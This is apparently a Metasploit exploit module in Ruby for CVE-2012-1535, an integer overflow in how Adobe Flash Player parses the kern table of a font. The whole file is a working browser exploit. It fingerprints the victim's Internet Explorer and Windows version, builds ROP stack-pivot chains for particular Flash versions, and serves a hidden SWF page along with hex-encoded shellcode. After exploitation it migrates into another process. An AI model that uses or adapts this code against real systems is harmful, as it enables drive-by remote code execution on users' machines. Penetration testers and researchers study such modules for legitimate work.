236 lines
8.0 KiB
Ruby
236 lines
8.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in the ActiveX component of Adobe
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Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file
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with a large nTables value in the 'kern' header, it is possible to trigger an
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integer overflow, which results in remote code execution under the context of the
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user. This vulnerability has also been exploited in the wild in limited targeted
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attacks. Please note in order to ensure reliability, the exploit is forced to
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modify your URIPATH parameter to less than 3 characters, which may cause possible
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URIPATH collisions.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alexander Gavrun', #Through iDefense
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'sinn3r',
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'juan vazquez'
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],
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'References' =>
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[
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[ 'CVE', '2012-1535' ],
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[ 'OSVDB', '84607'],
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[ 'BID', '55009'],
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
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[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
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[ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],
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[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ],
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[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-18.html']
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],
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'Payload' =>
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{
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'Space' => 1024
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested successfully on:
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# Flash 11.2.202.233
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# Flash 11.3.300.268
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# Flash 11.3.300.265
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# Flash 11.3.300.257
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', {'Rop' => nil } ],
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[ 'IE 7 on Windows XP SP3', {'Rop' => nil } ],
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[ 'IE 8 on Windows XP SP3', {'Rop' => true, 'ASLR' => false } ],
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[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
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[ 'IE 8 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ],
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[ 'IE 9 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Aug 9 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
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], self.class)
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end
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def get_payload(t, flash_version=nil)
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if t['Rop'].nil?
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p = [
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0x0c0c0c0c, # mapped at 1e0d0000
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0x0c0c0c0c,
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0x0c0c0c0c, # mapped at 1e0d0008
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].pack("V*")
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p << payload.encoded
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return p
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end
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if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d891, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
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elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
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elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
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print_status("Using Rop Chain For Flash: #{flash_version}")
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pivot = [
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0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x1001d755, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
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else
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print_status("Default back to JRE ROP")
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pivot = [
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0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
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0x0c0c0c0c,
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0x7c348b05, # xchg eax, esp # ret (1e0d0008)
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].pack("V*")
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p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
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end
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return p
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[4] #IE 7 on Windows Vista SP2
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7 SP1
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[6] #IE 9 on Windows 7 SP1
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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print_status("Target selected: #{my_target.name}")
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print_status("Client requesting: #{request.uri}")
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# The SWF request itself
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if request.uri =~ /\.swf$/
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print_status("Sending SWF")
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
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return
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end
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# The TXT payload request
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if request.uri =~ /\.txt$/
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flash_version = request.headers['x-flash-version']
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shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
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print_status("Sending Payload")
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send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
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return
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end
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#swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
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swf_uri = "/#{@resource_name}.txt.swf"
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html = %Q|
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<html>
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<head>
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</head>
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<body>
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<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
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<param name="movie" value="#{swf_uri}">
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<param name="FlashVars" value="s=#{@resource_name}">
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</object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def primer
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# we need to handle direct /pay.txt requests
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hardcoded_uripath("/#{@resource_name}.txt")
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end
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def exploit
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@swf = create_swf
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@resource_name = Rex::Text.rand_text_alpha(5)
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vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
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datastore['URIPATH'] = datastore['URIPATH'] || random_uri
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datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
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datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
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print_warning("URIPATH set to #{datastore['URIPATH']}")
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super
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end
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def create_swf
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path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "Main.swf" )
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fd = ::File.open( path, "rb" )
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swf = fd.read(fd.stat.size)
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fd.close
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return swf
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end
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end
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